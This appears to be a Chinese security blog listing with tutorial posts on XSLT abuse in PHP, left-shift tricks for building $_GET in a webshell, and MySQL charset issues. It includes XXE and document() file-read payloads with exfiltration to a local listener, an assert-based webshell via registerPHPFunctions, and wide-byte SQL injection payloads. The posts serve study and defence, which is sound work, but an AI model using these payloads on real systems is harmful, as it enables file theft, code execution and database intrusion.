Linux目录

/proc目录

介绍

proc是一个伪文件系统(系统启动时,动态生成的文件),不占用存储空间,占用内存空间

阅读全文

认识xslt

什么是XSLT

可扩展样式表语言转换(XSLT)是一种基于XML的语言,和专门的处理软件一起使用,用于XML文档转换。虽然这个处理过程被称作“转换”,但并没有改变原始文档,而是在原文档内容的基础上创建了一个新的XML文档。然后, 这个新文档会被处理器序列化(输出)为标准的XML语法或其他格式,如HTML或纯文本。XSLT最常用于不同XML模式间的数据转换,或用于将XML数据转换为网页或PDF文档

就是说XSLT 可以把 XML文档转换为其他类型的文档

举个栗子

1.xml写入

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?>
<root>
<country>China</country>
<company>abc</company>
</root>

1.xsl写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">
<html>
<body>
<h2>My address</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">country</th>
<th align="left">company</th>
</tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="country"/></td>
<td><xsl:value-of select="company"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>

</xsl:stylesheet>

解释一下

<xsl:for-each> 选取指定节点的集中的每个元素

1
<xsl:for-each select="root">  </xsl:for-each>  这里选取xml文档中 root节点

<xsl:value-of> 用于提取某个选定节点的值,并把值添加到转换的输出流中

1
<xsl:value-of select="country"/> 这里的country对应的就是xml文档中<country>China</country> 这个元素

结果

image

进一步

上面只使用了xml xsl两种文件来进行转换,但是有的时候,同一个xml文档,在一个地方可能被要求转换,在另一个地方不要求转换,这就需要动态的来调用

php中可以使用XSLTProcessor 这个类来进行转换

1.php写入

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$xslDoc = new DOMDocument();
$xslDoc->load("1.xsl");

$xmlDoc = new DOMDocument();
$xmlDoc->load("1.xml");

$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);

?>

解释一下代码

XSLTProcessor 是php中一个用来转换xml文档的类,适用于把一个xml文档转换成另一个类型的xml文档

importStylesheetXSLTProcessor类的一个方法,用来导入xslt样式表

transformToXML 也是XSLTProcessor类的一个方法,适用importStylesheet方法导入的xslt样式表转换xml文档

访问一下1.php

image

和上面一样的结果,把文件名改成参数,就可以更加方便的调用,

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$xslDoc = new DOMDocument();
$xslDoc->load($_GET['xsl']);

$xmlDoc = new DOMDocument();
$xmlDoc->load($_GET['xml']);

$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);

?>

安全问题

xxe

读文件

类似于传统的xml xslt同样存在这个问题

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY shit SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
]>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/root">
&shit;
</xsl:template>
</xsl:stylesheet>

结果

image

xsl:include

xslt文档中这么介绍xsl:include

xsl:include 元素是顶层元素(top-level element),把一个样式表中的样式表内容包含到另一个样式表中

1
<xsl:include href="URI"/>

文档内还写明 该元素必须是 <xsl:stylesheet><xsl:transform> 的子节点。

测试一下

端口探测

1.xsl写入

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:include href="http://127.0.0.1:9999/" />
</xsl:stylesheet>

1.php写入

1
2
3
4
5
6
7
8
9
<?php
$xslDoc = new DOMDocument();
$xslDoc->load('1.xsl',LIBXML_NOENT);
$xmlDoc = new DOMDocument();
$xmlDoc->load('1.xml');
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);
?>

结果

image

读文件

1.xsl写入

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:include href="php://filter/read=convert.base64-encode/resource=1.php" />
</xsl:stylesheet>

这里由于转换的问题 transformToXML 导致报错只出现了一行内容

image

注意 php默认适用的是libxml libxml2.6版本以后默认禁止了外部实体导入,但是可以使用LIBXML_NOENT这个选项加载外部实体

得找一个办法来解决报错只显示一行内容的问题

no.1 再找一下有没有其他的可以导入外部文档的功能

no.2 利用include可以包含url的特点,外带数据

在xslt中还找到一个document,可以用来访问外部文档

document

document() 函数用于访问外部 XML 文档中的节点 这也就是说 它可以导入外部文件

1
2
3
4
5
document(object,node-set)
object 必需。定义外部 XML 文档的URI。
node-set 可选。用于解析相对 URI。

<xsl:value-of select="document('1.xml')"/>

读文件

这里看到sky师傅用了一个连接加外带的方式 把数据传出来

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:variable name="name1" select="document('php://filter/read=convert.base64-encode/resource=2.php')" />
<xsl:variable name="name2" select="concat('http://127.0.0.1:9999/?a=', $name1)" />
<xsl:variable name="name3" select="document($name2)" />
</xsl:stylesheet>

concat把两个字符串连接起来 最后在调用document 向外发送数据 本地监听9999端口,拿到数据

探测端口

1.xsl写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">
<html>
<body>
<h2>My address</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">country</th>
<th align="left">company</th>
</tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="country"/></td>
<td><xsl:value-of select="company"/></td>
<xsl:value-of select="document('http://127.0.0.1:9999')"/>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>

</xsl:stylesheet>

访问一下1.php

image

并且这里不需要开启外部实体

解析一句话

test.php写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml='<root>assert($_POST[asd]);</root>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:qwe="http://php.net/xsl">
<xsl:template match="/root">
<xsl:value-of select="qwe:function(\'assert\',string(.))"/>
</xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?>

解释一下上面的代码

$xml='<root>assert($_POST[asd]);</root>'; 定义了一个xml元素

xmlns:qwe="http://php.net/xsl" 导入命令空间 这里导入的是php函数

<xsl:value-of select="qwe:function(\'assert\',string(.))"/> 这里表示将匹配到的内容,作为参数,传给assert函数

<xsl:template match=”/root”> 这里将匹配root节点的内容,assert($_POST[asd]); 下面的xsl:value-of会提取匹配到的内容,然后交给了后面的函数来执行 最终导致了一句话被解析

结果

image

参考链接

https://skysec.top/2018/08/18/%E6%B5%85%E6%9E%90xml%E4%B9%8Bxinclude-xslt/#XSLT

https://paper.seebug.org/36/#xsltwebshell

评论和共享

左移运算符

<<

写shell

构造$_GET

后台代码

1
2
3
<?php
eval($_GET['a']);
var_dump($s);

测试

1
2
3
4
5
6
7
8
?a=var_dump(chr((12<<3)-1)); ==>_
?a=var_dump(chr((9<<3)-1)); ==>G
?a=var_dump(chr((9<<3)-3)); ==>E
?a=var_dump(chr(21<<2)); ==>T
?a=var_dump((chr(9<<2)).(chr((12<<3)-1)).(chr((9<<3)-1)).(chr((9<<3)-3)).(chr(21<<2)));
==>$_GET

?a=${chr((12<<3)-1).(chr((9<<3)-1)).(chr((9<<3)-3)).(chr(21<<2))}[_]();&_=phpinfo

评论和共享

thinkphp反序列化

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
project  应用部署目录
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置)
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
阅读全文

MySql字符研究

0x01 字符集和字符序

http://www.laruence.com/2008/01/05/12.html

字符集 character set

针对给定的字符 赋予一个数值,这个数值就是这个字符的编码,多个字符以及对应的编码,就组成了字符集

eg: A->1 B->2 A的字符编码是1 B的字符编码是2 当给定的字符是AB的时候,{A->1 B->2}就是字符集

no.1 查看字符集

mysql支持的字符集

1
2
3
4
5
6
7
8
mysql> SHOW CHARACTER SET;
+----------+-----------------------------+---------------------+--------+
| Charset | Description | Default collation | Maxlen |
+----------+-----------------------------+---------------------+--------+
| big5 | Big5 Traditional Chinese | big5_chinese_ci | 2 |
| dec8 | DEC West European | dec8_swedish_ci | 1 |
| cp850 | DOS West European | cp850_general_ci | 1 |
| hp8 | HP West European | hp8_english_ci | 1 |

no.2 查看指定的字符集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> SHOW CHARACTER SET WHERE Charset="utf8";
+---------+---------------+-------------------+--------+
| Charset | Description | Default collation | Maxlen |
+---------+---------------+-------------------+--------+
| utf8 | UTF-8 Unicode | utf8_general_ci | 3 |
+---------+---------------+-------------------+--------+

或者
mysql> SHOW CHARACTER SET LIKE "utf8%";
+---------+---------------+--------------------+--------+
| Charset | Description | Default collation | Maxlen |
+---------+---------------+--------------------+--------+
| utf8 | UTF-8 Unicode | utf8_general_ci | 3 |
| utf8mb4 | UTF-8 Unicode | utf8mb4_general_ci | 4 |
+---------+---------------+--------------------+--------+

no.3 查看指定库的字符集 字符序

切换到要查看的数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> SELECT @@character_set_database, @@collation_database;
+--------------------------+----------------------+
| @@character_set_database | @@collation_database |
+--------------------------+----------------------+
| gbk | gbk_chinese_ci |
+--------------------------+----------------------+

或者 通过创建库的语句

mysql> SHOW CREATE DATABASE security;
+----------+------------------------------------------------------------------+
| Database | Create Database |
+----------+------------------------------------------------------------------+
| security | CREATE DATABASE `security` /*!40100 DEFAULT CHARACTER SET gbk */ |
+----------+------------------------------------------------------------------+

no.4 查看指定表的字符集

1
2
3
4
5
6
7
8
9
10
11
12
通过查询创建表的语句

mysql> SHOW CREATE TABLE users;
+-------+------------------------------------------------------------------------------
| Table | Create Table |
+-------+------------------------------------------------------------------------------
| users | CREATE TABLE `users` (
`id` int(3) NOT NULL AUTO_INCREMENT,
`username` varchar(20) NOT NULL,
`password` varchar(20) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=15 DEFAULT CHARSET=gbk |

字符序 collation

是指同一字符集中,各字符之间的比较规则,确定了字符序之后,就可以比较字符集中字符的大小关系

在数据的存储上,MySQL提供了不同的字符集

在数据的比较上,MySQL提供了不同的字符序

no.1 查看指定表的字符序

1
2
3
4
5
6
SELECT TABLE_COLLATION FROM information_schema.TABLES WHERE TABLE_SCHEMA = "security" AND TABLE_NAME = "users";
+-----------------+
| TABLE_COLLATION |
+-----------------+
| gbk_chinese_ci |
+-----------------+

no.2 查看指定列的字符序

1
2
3
4
5
6
mysql> SELECT CHARACTER_SET_NAME, COLLATION_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA="security" AND TABLE_NAME="users" AND COLUMN_NAME="username";
+--------------------+----------------+
| CHARACTER_SET_NAME | COLLATION_NAME |
+--------------------+----------------+
| gbk | gbk_chinese_ci |
+--------------------+----------------+

针对字符集和字符序的详情参考

https://www.cnblogs.com/chyingp/p/mysql-character-set-collation.html

0x02 字符集存在的问题

MySQL字符集设置

1
2
3
4
5
6
7
8
9
10
11
– character_set_server:默认的内部操作字符集

– character_set_client:客户端来源数据使用的字符集

– character_set_connection:连接层字符集

– character_set_results:查询结果字符集

– character_set_database:当前选中数据库的默认字符集

– character_set_system:系统元数据(字段名等)字符集

查看MySQL字符集设置

1
2
3
4
5
6
7
8
9
10
11
mysql> SHOW VARIABLES LIKE 'character_set_%';
+--------------------------+-----------------------------------------------+
| Variable_name | Value |
+--------------------------+-----------------------------------------------+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | latin1 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | utf8 |
| character_set_system | utf8 |

no.1 宽字节注入

https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html

utf8编码处理一个汉字用3个字节表示,gbk编码处理一个汉字用2个字节表示

查看php中 使用的是那种编码

1
2
3
<?php
echo strlen("和");
?>

输出是2 就是gbk

输出是3 就是utf8

大多数程序会使用addslashes来转义单引号 ' == \'

两种方式绕过

1 转义掉\ 这种 \\' 单引号就可以逃逸出来

2 把\ 弄没有

利用宽字节就可以把\弄没有 MySQL使用GBK编码时,会认为两个字符表示一个汉字,不过第一个字符的ascii值要大于128(%80),才能达到汉字的范围

把上面的代码稍微改动一下

1
2
3
$mysqli->query("set names gbk");

$username = addslashes($_GET['username']);

测试一下

加上单引号试一下

image

不行

加上%df试一下

payload

1
?username=admin%df%27%20or%201=1%23

image

ok了

这里%df还可以换成%a1 %81 等等 大于%80的 都可以

gb2312

gb23112编码就不存在宽字节的问题,因为gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码 ,自然就不会存在宽字节注入的问题啦

mysql_real_escape_string

转义单引号的函数不只有addslashes 还有 mysql_real_escape_string

该函数会考虑到当前使用的字符集,是不是就不存在宽字节注入的问题啦 试试看

char.php写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
@$conn = mysql_connect('localhost','root','root');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('lianxi',$conn);
#mysql_set_charset('gbk',$conn);

$username = mysql_real_escape_string($_GET['username']);

$sql = "SELECT * FROM `user` WHERE name='{$username}'";
$result=mysql_query($sql,$conn);
$row=mysql_fetch_array($result);
var_dump($row);
mysql_free_result($result);

?>

payload还是能打通

image

指定一下php连接MySQL的字符集,

1
mysql_set_charset('gbk',$conn);

返回bool(flase)

结论

如果不加上mysql_set_charset(‘gbk’,$conn); 这一行代码 依旧存在

还有另外一个解决方案 通过设置客户来源字符集为binary 把数据保存为二进制,以二进制的形式传递,就不存在宽字节的问题了

1
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

iconv转换编码

1
iconv('utf-8', 'gbk', $_GET['word']);

很多网站为了避免乱码,把utf8转成了gbk

后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
@$conn = mysql_connect('localhost','root','root');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('lianxi',$conn);
mysql_query('SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary');
$username = addslashes($_GET['username']);
$username = iconv('utf-8', 'gbk', $username);
$sql = "SELECT * FROM `user` WHERE name='{$username}'";
$result=mysql_query($sql,$conn);
$row=mysql_fetch_array($result);
var_dump($row);
mysql_free_result($result);
?>

连接层字符集设置了binary 并且转义了单引号

上面的payload已经不行了

再试一下第二种方法 转义掉\

汉字 錦 utf8编码为 0xe98ca6 gbk编码为 0xe55c

试一下

image

可以打通,payload被转为gbk编码后,出现了5c 两个5c放到一起,就变成了\这个字符,失去了转义的作用

如果是gbk转为utf8呢 是不是同样存在问题

修改一下 代码

1
$username = iconv('gbk', 'utf-8', $username);

image

直接用第一种方法 就行

gbk编码 2个字节一组 直接吞掉%5c

Note: 说明一下 utf8编码 不是3个字节一组嘛 为什么a%E9%8C没有放在一起转码,因为3个字节一组的是汉字 对于ASCII 是单字节 a被单独解码 后面的%E9满足大于128的条件被当作汉字解码,3个一组

而gbk编码 当第一个字节大于128的时候 表示的就是汉字 所以%df%5c才会放到一起

no.2 字符集转换

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

MySQL默认的字符集是Latin1

Latin1是ISO-8859-1的别名,有些环境下写作Latin-1。ISO-8859-1编码是单字节编码,向下兼容ASCII,其编码范围是0x00-0xFF,0x00-0x7F之间完全和ASCII一致,0x80-0x9F之间是控制字符,0xA0-0xFF之间是文字符号。

客户端输入一个字符,经过的编码过程如下

character_set_client -> character_set_connection -> character_set_server

这里三个编码 都设置为了utf8

1
2
3
4
5
6
7
8
9
10
11
mysql> SHOW VARIABLES LIKE 'character_set_%';
+--------------------------+-----------------------------------------------+
| Variable_name | Value |
+--------------------------+-----------------------------------------------+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | utf8 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | utf8 |
| character_set_system | utf8 |

输入

1
2
3
admin%e4
admin%e4%db
admin%e4%bd%ac

只有第一个能绕过 第二个和第三个都不行 貌似应该是凑不成一个字符 会被丢掉,

0x03 字符序存在的问题

MySQL中的字符序名称遵从命名惯例:以字符序对应的字符集名称开头;以_ci(表示大小写不敏感)、_cs(表示大小写敏感)或_bin(表示按编码值比较)结尾。

utf8_unicode_ci 和 utf8_general_ci

utf8_general_ci不区分大小写, 对于法语和德语校对有问题,例如

Ä/ä = A Ö/ö = O Ü/ü = U A=a这几种条件都成立,

对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。

http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html

验证一下

在数据库中插入一条admin的记录

1
2
mysql> insert `user` values(212,'admin','sex',20190102,'programer');
Query OK, 1 row affected (0.00 sec)

连接数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$mysqli = new mysqli("localhost", "root", "root", "lianxi");

/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}

$mysqli->query("set names utf8");

$username = $_GET['username'];

/* Select queries return a resultset */
$sql = "SELECT * FROM `user` WHERE name='{$username}'";

if ($result = $mysqli->query( $sql )) {
printf("Select returned %d rows.\n", $result->num_rows);

while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
var_dump($row);
}

/* free result set */
$result->close();
} else {
var_dump($mysqli->error);
}

$mysqli->close();

德语测试

image

%C3%84是Ä的url编码

%C3%A4是ä的url编码

大小写测试

ADMIN = admin

image

utf8_unicode_ci和utf8_general_ci对中、英文来说没有实质的差别。

utf8_general_ci校对速度快,但准确度稍差。

utf8_unicode_ci准确度高,但校对速度稍慢。

如果你的应用有德语、法语或者俄语,请一定使用utf8_unicode_ci

评论和共享

  • 第 1 页 共 1 页

John Doe

author.bio


author.job